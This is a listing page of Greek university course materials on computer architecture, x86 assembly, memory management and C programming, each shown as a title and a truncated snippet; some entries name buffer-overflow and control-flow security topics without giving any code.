Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Paging & Segmentation
Προηγμένοι Μικροεπεξεργαστές Paging & Segmentation Segmentation Τεχνική για σπάσουμε την μνήμη σε λογικά κομμάτια Κάθε κομμάτι αποθηκεύει πληροφορία σχετική με data segments for each process code segments
Διαβάστε περισσότεραΣημειώσεις για τον 80x86
Σημειώσεις για τον 80x86 Τι είναι η διεύθυνση; 16bits 0000h 0001h 0002h 8bits 20h 32h 30h Η μνήμη ενός μικροϋπολογιστικού συστήματος χωρίζεται σε μικρά τμήματα του ενός byte FFFEh 30h 2 16 =65,536 bytes
Διαβάστε περισσότεραΜνήμη Διευθύνσεις Δείκτες. Προγραμματισμός II 1
Μνήμη Διευθύνσεις Δείκτες Προγραμματισμός II 1 lalis@inf.uth.gr Μνήμη Η/Υ Ειδικό υλικό, ξεχωριστό από τον επεξεργαστή Χρησιμεύει για την αποθήκευση δεδομένων και της κατάστασης εκτέλεσης του προγράμματος
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου
Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 12 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και
Διαβάστε περισσότεραΔΕΙΚΤΕΣ ΚΑΙ ΔΙΕΥΘΥΝΣΕΙΣ
ΔΕΙΚΤΕΣ ΚΑΙ ΔΙΕΥΘΥΝΣΕΙΣ Γεώργιος Παπαϊωάννου (2013-14) gepap@aueb.gr Περιγραφή: Εισαγωγή στους δείκτες Το μοντέλο της μνήμης, σωρός και στοίβα Αναφορές Δείκτες και πίνακες Δέσμευση και αποδέσμευση μνήμης
Διαβάστε περισσότεραΚεφάλαιο 4 Εφαρμογή της μεθόδου εντοπισμού Buffer Overflow Exploit «Abstract Execution of Payload» και αναζήτηση των Return Address για Validation
Κεφάλαιο 4 Εφαρμογή της μεθόδου εντοπισμού Buffer Overflow Exploit «Abstract Execution of Payload» και αναζήτηση των Return Address για Validation 4.1 Γενικά Στα πρώτα κεφάλαια αυτής της εργασίας παρουσιάσθηκε
Διαβάστε περισσότεραΕργαστήριο 4. Εαρινό Εξάμηνο ΠΡΟΣΟΧΗ: Αρχίστε νωρίς το Εργαστήριο 4. Οι ασκήσεις είναι πιο απαιτητικές από τα προηγούμενα εργαστήρια.
Τομέας Υλικού και Αρχιτεκτονικής Υπολογιστών ΗΥ134 - Εισαγωγή στην Οργάνωση και Σχεδίαση Η/Υ 1 Εργαστήριο 4 Εαρινό Εξάμηνο 2012-2013 Στόχοι του εργαστηρίου Χρήση στοίβας Συναρτήσεις ΠΡΟΣΟΧΗ: Αρχίστε νωρίς
Διαβάστε περισσότεραΑσφαλής προγραμματισμός σε γλώσσα C
Ασφαλής προγραμματισμός σε γλώσσα C Πάτροκλος Αργυρούδης Δημήτρης Γλυνός IT security research, development and services {argp, dimitris}@censusgr Συνέδριο Δημιουργών ΕΛ/ΛΑΚ 19-20 Ιουνίου 2009 census, inc
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Εργαστήριο 4 - Editor
Προηγμένοι Μικροεπεξεργαστές Εργαστήριο 4 - Editor Περιγραφή Υλοποίηση ενός υποτυπώδους editor που θα: Διαβάζει ένα προκαθορισμένο αρχείο Θα το απεικονίζει στην οθόνη Θα κάνει highlight με έναν ελεγχόμενο
Διαβάστε περισσότεραControl Flow Integrity (CFI) Αντρέας Ιωάννου
Control Flow Attacks Control Flow Integrity (CFI) Αντρέας Ιωάννου Στο Control flow integrity(cfi) υπάρχουν διάφορα είδη επιθέσεων που έχουν σας απώτερο σκοπό να εκμεταλλευτούν το πρόγραμμα μέσω κάποιου
Διαβάστε περισσότεραΑρχιτεκτονικές Συνόλου Εντολών (ΙΙ)
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2016-17 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Δομή Εντολών και Παραδείγματα) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική
Διαβάστε περισσότεραΑΣΚΗΣΗ. Ορίζονται μόνο καθολικές ακέραιες μεταβλητές με τη σύνταξη: int varname;
ΑΣΚΗΣΗ Εισαγωγή Η γλώσσα Aegean-C είναι ένα υποσύνολο της γλώσσας C. Δε διαθέτει πολλούς τύπους, δομές, δείκτες, αρκετούς τελεστές, τις περισσότερες συναρτήσεις της βιβλιοθήκης και ορισμένες εντολές. Παρόλα
Διαβάστε περισσότεραData-Level Parallelism Linking & Loading
ΗΥ 232 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Διάλεξη 18 Data-Level Parallelism Linking & Loading Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων Οργάνωση Η/Y (ECE 232) 1
Διαβάστε περισσότεραΕργαστήριο ΕΙΣΑΓΩΓΗ ΣΤΗΝ INTEL ASSEMBLY 32BIT
Εργαστήριο ΕΙΣΑΓΩΓΗ ΣΤΗΝ INTEL ASSEMBLY 32BIT Εισαγωγή 1 Σκοπός του εργαστηρίου είναι η εισαγωγή στον προγραμματισμό στη συμβολική γλώσσα assembly των 32-bit επεξεργαστών της Intel μέσα από απλά προγράμματα
Διαβάστε περισσότεραΔομημένος Προγραμματισμός
ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ Ανώτατο Εκπαιδευτικό Ίδρυμα Πειραιά Τεχνολογικού Τομέα Δομημένος Προγραμματισμός Ενότητα: Συναρτήσεις θεωρία Δ. Ε. Μετάφας Τμ. Ηλεκτρονικών Μηχ. Τ.Ε. Άδειες Χρήσης Το παρόν εκπαιδευτικό
Διαβάστε περισσότεραΜΑΘΗΜΑ: ΜΙΚΡΟΫΠΟΛΟΓΙΣΤΕΣ ΘΕΜΑΤΑ ΙΟΥΝΙΟΥ 2014
ΜΑΘΗΜΑ: ΜΙΚΡΟΫΠΟΛΟΓΙΣΤΕΣ ΘΕΜΑΤΑ ΙΟΥΝΙΟΥ 2014 Καθηγητής:Νικολαΐδης Νικ. ΑΠΑΝΤΗΣΕΙΣ Ημ/νία εξέτασης:30-6-2014 ΘΕΜΑ 1 α) Να σχεδιαστεί μία μνήμη ROM που να δίνει στις εξόδους της το πλήθος των ημερών του
Διαβάστε περισσότεραΣύγχρονες Αρχιτεκτονικές Υπολογιστών
ΧΑΡΟΚΟΠΕΙΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ & ΤΗΛΕΜΑΤΙΚΗΣ Σύγχρονες Αρχιτεκτονικές Υπολογιστών ΑΚΑ ΗΜΑΪΚΟ ΕΤΟΣ 2014-2015 Αρχιτεκτονική Συνόλου Εντολών (Instruction Set Architecture-ISA) 1 Ένας υπολογιστής
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών
ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΑΝΟΙΚΤΑ ΑΚΑΔΗΜΑΪΚΑ ΜΑΘΗΜΑΤΑ Αρχιτεκτονική Υπολογιστών Αρχιτεκτονικό σύνολο εντολών Διδάσκων: Επίκουρος Καθηγητής Αριστείδης Ευθυμίου Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 2 Addressing
Προηγμένοι Μικροεπεξεργαστές Φροντιστήριο 2 Addressing Roadmap Το μοντέλο μνήμης των x86 Γιατί τόσο περίπλοκο; Δομή Εξέλιξη Μέθοδοι διευθυνσιοδότησης Εντολές προσπέλασης μνήμης Μοντέλο Μνήμης Πριν τους
Διαβάστε περισσότεραΟργάνωση Η/Υ. Γιώργος ηµητρίου. Μάθηµα 2 ο. Πανεπιστήµιο Θεσσαλίας - Τµήµα Μηχανικών Η/Υ, Τηλεπικοινωνιών και ικτύων
Γιώργος ηµητρίου Μάθηµα 2 ο Πανεπιστήµιο Θεσσαλίας - Τµήµα Μηχανικών Η/Υ, Τηλεπικοινωνιών και ικτύων Αναπαράσταση Πληροφορίας Η/Υ Αριθµητικά δεδοµένα n Σταθερής υποδιαστολής n Κινητής υποδιαστολής Μη αριθµητικά
Διαβάστε περισσότεραΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT
ΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT ΘΕΩΡΙΑ Στο project αυτό έχουμε υλοποιήσει τις βασικές συναρτήσεις της stdlib της C malloc και free Η συνάρτηση malloc είναι η void *malloc(int
Διαβάστε περισσότερα(Ψηφιακοί)Υπολογιστές ENIAC Πληροφορική και Υπολογιστές. ΕΠΛ 031: Εισαγωγή στον (FORTRAN) Γιώργος Χρυσάνθου. Ποτε? ~1940 ΕΝΙΑC. Γιατι?
1 ΕΠΛ 031: Εισαγωγή στον προγραµµατισµό (FORTRAN) Γιώργος Χρυσάνθου Πληροφορική και Υπολογιστές Αρχη πριν 50 χρονια Υπολογιστες ειναι παντου Παρα παρα πολλες εφαρµογες Γιατί; Αυτοµατοποιηση Απλοποιηση
Διαβάστε περισσότεραWriting kernels for fun and profit
Writing kernels for fun and profit Γιάννης Τσιομπίκας nuclear@memberfsforg 23 Μαρτίου 2011 Γιατί; It s FUN! Εξοικείωση με το hardware Εμβάθυνση στον θαυμαστό κόσμο των λειτουργικών συστημάτων Μια καλή
Διαβάστε περισσότεραΠρογραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος 2011-2012. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο
Προγραμματισμός Ι Δυναμική Διαχείριση Μνήμης Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2011-2012 Ανάγκη για Δυναμική Μνήμη Στατική Μνήμη Μέχρι τώρα χρησιμοποιούσαμε
Διαβάστε περισσότεραΑναπαράσταση Μη Αριθμητικών Δεδομένων
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Αναπαράσταση Μη Αριθμητικών Δεδομένων (κείμενο, ήχος και εικόνα στον υπολογιστή) http://di.ionio.gr/~mistral/tp/csintro/
Διαβάστε περισσότερα! Δεδομένα: ανεξάρτητα από τύπο και προέλευση, στον υπολογιστή υπάρχουν σε μία μορφή: 0 και 1
Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 5-6 Αναπαράσταση Μη Αριθμητικών Δεδομένων (κείμενο, ήχος και εικόνα στον υπολογιστή) http://di.ionio.gr/~mistral/tp/csintro/
Διαβάστε περισσότεραΗΜΥ Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών
ΗΜΥ 213 - Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών ΗΜΥ 213 Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών ΠαρουσίασηΕργαστηρίου 5 ιδάσκοντες: Νικόλας Στυλιανίδης Γιώργος Ζάγγουλος
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου
Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 07 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Εργαστήριο 1 Hello World
Προηγμένοι Μικροεπεξεργαστές Εργαστήριο 1 Hello World Σκοπός του Εργαστηρίου Εκτύπωση του string Hello World στην οθόνη Με χρήση της video memory Και παράλληλα επιβεβαίωση ότι τα εργαλεία μας λειτουργούν
Διαβάστε περισσότεραΕρωτήσεις θεωρίας MY. Μέρος Α. Υλικό.
Ερωτήσεις θεωρίας MY Μέρος Α. Υλικό. 1. Η μνήμη ROM είναι συνδυαστικό ή ακολουθιακό κύκλωμα; 2. α) Να σχεδιαστεί μία μνήμη ROM που να δίνει στις εξόδους της το πλήθος των ημερών του μήνα, ο αριθμός του
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών
Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 7: Αποκωδικοποίηση Εντολής x86 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής Υπολογιστών
Διαβάστε περισσότεραΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Κλάσεις και Αντικείμενα Αναφορές
ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ Κλάσεις και Αντικείμενα Αναφορές Μαθήματα από το lab Υπενθύμιση: Η άσκηση ζητούσε να υλοποιήσετε μία κλάση vector που να διαχειρίζεται διανύσματα οποιουδήποτε
Διαβάστε περισσότεραΗΜΥ Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών
ΗΜΥ 213 - Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών ΗΜΥ 213 Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών Διάλεξη 4 Περίληψη Συναρτήσεις Χρονόμετρο Χρήση Διακοπτών Coprocessor Διαχείριση
Διαβάστε περισσότεραΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός Αναφορές-Παράμετροι
ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ Αναφορές Στοίβα και Σωρός Αναφορές-Παράμετροι new Όπως είδαμε για να δημιουργήσουμε ένα αντικείμενο χρειάζεται να καλέσουμε τη new. Για τον πίνακα είπαμε ότι
Διαβάστε περισσότεραΜικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα
Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα 1. Ποια είναι η σχέση της έννοιας του μικροεπεξεργαστή με αυτή του μικροελεγκτή; Α. Ο μικροεπεξεργαστής εμπεριέχει τουλάχιστο έναν μικροελεγκτή. Β. Ο
Διαβάστε περισσότεραΘ. Ζαχαριάδης Αν. Καθηγητής. Λ. Σαράκης Καθ. Εφαρμογών
Θ. Ζαχαριάδης Αν. Καθηγητής Λ. Σαράκης Καθ. Εφαρμογών CMP REG, memory memory, REG REG, REG memory, immediate REG, immediate Compare. operand1 - operand2 result is not stored anywhere, flags are set (OF,
Διαβάστε περισσότερα(Branch Prediction Mechanisms)
Μέθοδοι Πρόβλεψης Διακλαδώσεων (Branch Prediction Mechanisms) 1 Εντολές Διακλάδωσης Περίπου 20% των εντολών είναι εντολές διακλάδωσης Πολλά στάδια μεταξύ υπολογισμού του επόμενου PC και εκτέλεσης του branch
Διαβάστε περισσότεραΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ
ΨΗΦΙΑΚΑ ΣΥΣΤΗΜΑΤΑ ΚΕΦΑΛΑΙΟ 7ο ΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ Γενικό διάγραμμα υπολογιστικού συστήματος Γενικό διάγραμμα υπολογιστικού συστήματος - Κεντρική Μονάδα Επεξεργασίας ονομάζουμε
Διαβάστε περισσότεραΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ
ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ Κεφάλαιο 1 Επιμέλεια: Βασίλης Παλιουράς, Αναπληρωτής Καθηγητής Ευάγγελος Δερματάς, Αναπληρωτής Καθηγητής Σταύρος Νούσιας, Βοηθός Ερευνητή Πολυτεχνική Σχολή Τμήμα Ηλεκτρολόγων Μηχανικών
Διαβάστε περισσότεραΛειτουργικά Συστήματα (ΗΥ321)
Λειτουργικά Συστήματα (ΗΥ321) Διάλεξη 7: Εικονική Μνήμη Σελιδοποίηση & Πίνακες Σελίδων Ιδεατή Μνήμη Βασισμένη σε Σελίδες (Σελιδοποίηση) Σπάσε τη μνήμη σε κομματάκια σταθερού μεγέθους (σελίδες) Δίλλημα:
Διαβάστε περισσότεραΟρισµός της Στοίβας Περίληψη H λειτουργία της Στοίβας (γενικά, αλλά και στο QtSpim pim) Η χρησιµότητα της Στοίβας στους Μικροεπεξεργαστές Κλήση συνάρτ
ΗΜΥ 213 Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών Παρουσίαση Εργαστηρίου 5 ιδάσκων: ρ. Γιώργος Ζάγγουλος Email: zaggoulos.george@ucy.ac.cy Ορισµός της Στοίβας Περίληψη H λειτουργία της Στοίβας
Διαβάστε περισσότεραΛύσεις 2 ης Ενδιάμεσης Εξέτασης στο ΗΜΥ213
ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΥΠΡΟΥ Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών (ΗΜΜΥ) Λύσεις 2 ης Ενδιάμεσης Εξέτασης στο ΗΜΥ213 Εαρινό Εξάμηνο, 2012 Διδάσκων: Γιώργος Ζάγγουλος Ημερομηνία εξέτασης: 01/03/2012
Διαβάστε περισσότεραHY150a Φροντιστήριο 3 24/11/2017
HY150a Φροντιστήριο 3 24/11/2017 1 Assignment 3 Overview Το πρόγραμμα ζητείται να διαβάζει μια λίστα δεδομένων που περιγράφει τα διαθέσιμα τμήματα μνήμης (blocks) ενός ΗΥ. Το πρόγραμμα ζητείται να μεταφορτώνει
Διαβάστε περισσότεραΗ γλώσσα προγραμματισμού C
Η γλώσσα προγραμματισμού C Οι δείκτες στη C Η έννοια του δείκτη Την έννοια του δείκτη τη συναντήσαμε σε προηγούμενα μαθήματα. Η συνάρτηση scanf(), καταχωρίζει τιμές σε μεταβλητές χρησιμοποιώντας τον τελεστή
Διαβάστε περισσότεραΔιάλεξη 5: Δείκτες και Συναρτήσεις
Τμήμα Πληροφορικής Πανεπιστήμιο Κύπρου ΕΠΛ132 Αρχές Προγραμματισμού II Διάλεξη 5: Δείκτες και Συναρτήσεις (Κεφάλαιο 11, KNK-2ED) Δημήτρης Ζεϊναλιπούρ http://www.cs.ucy.ac.cy/courses/epl132 5-1 Περιεχόμενο
Διαβάστε περισσότεραΕργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή
Εισαγωγή Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ Σκοπός του εργαστηρίου είναι να γνωρίσουµε την εσωτερική δοµή και αρχιτεκτονική της κεντρικής µονάδας επεξεργασίας, να κατανοήσουµε τον τρόπο µε τον οποίο λειτουργεί
Διαβάστε περισσότεραΦροντιστήριο. Παραγωγή τελικού κώδικα. Παραγωγή τελικού κώδικα
ΗΥ-340 Γλώσσες και Μεταφραστές Φροντιστήριο Παραγωγή τελικού κώδικα Από τον ενδιάμεσο κώδικα στον τελικό (1/2) Τα ορίσματα των εντολών ενδιάμεσου κώδικα είναι του τύπου expr*. Αυτές οι εκφράσεις θα πρέπει
Διαβάστε περισσότεραΕντολές γλώσσας μηχανής
Εντολές γλώσσας μηχανής Στον υπολογιστή MIPS η εντολή πρόσθεσε τα περιεχόμενα των καταχωρητών 17 και 20 και τοποθέτησε το αποτέλεσμα στον καταχωρητή 9 έχει την μορφή: 00000010001101000100100000100000 Πεδία
Διαβάστε περισσότεραΔιάλεξη 22η: Επιπλέον στοιχεία της C
Διάλεξη 22η: Επιπλέον στοιχεία της C Τμήμα Επιστήμης Υπολογιστών, Πανεπιστήμιο Κρήτης Εισαγωγή στην Επιστήμη Υπολογιστών Πρατικάκης (CSD) Extra CS100, 2018-2019 1 / 11 Οργάνωση του κώδικα Ένα πρόγραμμα
Διαβάστε περισσότεραΕικονική Μνήμη (Virtual Μemory)
ΗΥ 431 Αρχιτεκτονική Παραλλήλων Συστημάτων Διάλεξη 16 Εικονική Μνήμη (Virtual Μemory) Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Η/Υ Απλό πείραμα int *data = malloc((1
Διαβάστε περισσότεραΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝ ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ ΥΣ13 ΕΑΡΙΝΟ 2014
ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝ ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ ΥΣ13 ΕΑΡΙΝΟ 2014 Project #1 Buffer Overflows (0 ημέρες καθυστέρησης) ΛΟΥΓΙΑΚΗΣ ΧΡΗΣΤΟΣ - 1115200600289
Διαβάστε περισσότεραΠροηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 4 Real Mode Interrupts
Προηγμένοι Μικροεπεξεργαστές Φροντιστήριο 4 Real Mode Interrupts Επισκόπηση Μορφές control tranfer Γενικά μη προγραμματισμένες Ασυγχρονα προς την εκτέλεση του προγράμματος Hardware interrupts Σύγχρονα
Διαβάστε περισσότεραΠρογραμματισμός Ι. Εγγραφές. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο
Προγραμματισμός Ι Εγγραφές Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Η Ανάγκη Ομαδοποίησης Πολλές φορές έχουμε πληροφορίες διαφορετικού τύπου οι οποίες όμως έχουν μεγάλη
Διαβάστε περισσότεραΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός Μνήμης Αντικείμενα ως ορίσματα
ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ Αναφορές Στοίβα και Σωρός Μνήμης Αντικείμενα ως ορίσματα ΑΝΑΦΟΡΕΣ new Όπως είδαμε για να δημιουργήσουμε ένα αντικείμενο χρειάζεται να καλέσουμε τη new. Για
Διαβάστε περισσότεραΛΥΣΕΙΣ ΘΕΜΑΤΩΝ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ
ΛΥΣΕΙΣ ΘΕΜΑΤΩΝ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ 1. CS1=0100H, CS2=1100H, DS=2100H, SS=3100H. α) Να σχεδιαστεί ο χάρτης μνήμης με λογικές και φυσικές διευθύνσεις. β) Στη διεύθυνση CS1:0100H υπάρχει η εντολή: 9A IP IP CS
Διαβάστε περισσότεραΠρογραμματισμός Ι (ΗΥ120)
Προγραμματισμός Ι (ΗΥ120) Διάλεξη 9: Συναρτήσεις Ορισμός συναρτήσεων () { /* δήλωση μεταβλητών */ /* εντολές ελέγχου/επεξεργασίας */ o Μια συνάρτηση ορίζεται δίνοντας
Διαβάστε περισσότεραΔομημένος Προγραμματισμός
ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ Ανώτατο Εκπαιδευτικό Ίδρυμα Πειραιά Τεχνολογικού Τομέα Δομημένος Προγραμματισμός Ενότητα: Εισαγωγή στη C θεωρία Δ. Ε. Μετάφας Τμ. Ηλεκτρονικών Μηχ. Τ.Ε. Άδειες Χρήσης Το παρόν εκπαιδευτικό
Διαβάστε περισσότεραΠρογραμματισμός Η/Υ (ΤΛ2007 )
Τμήμα Ηλεκτρονικών Μηχανικών Τ.Ε.Ι. Κρήτης Προγραμματισμός Η/Υ (ΤΛ2007 ) Δρ. Μηχ. Νικόλαος Πετράκης (npet@chania.teicrete.gr) Ιστοσελίδα Μαθήματος: https://eclass.chania.teicrete.gr/ Εξάμηνο: Εαρινό 2015-16
Διαβάστε περισσότεραΑρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου
Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 10 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και
Διαβάστε περισσότεραΑντικειμενοστραφείς Γλώσσες Προγραμματισμού C++ / ROOT
Αντικειμενοστραφείς Γλώσσες Προγραμματισμού Ιωάννης Παπαδόπουλος Τμήμα Φυσικής, Πανεπιστήμιο Ιωαννίνων Οκτώβριος 2018 1/28 1 (implicit) μετατροπές 2 (Functions) 3 (Pointers) 4 (Arrays) 2/28 (implicit)
Διαβάστε περισσότερα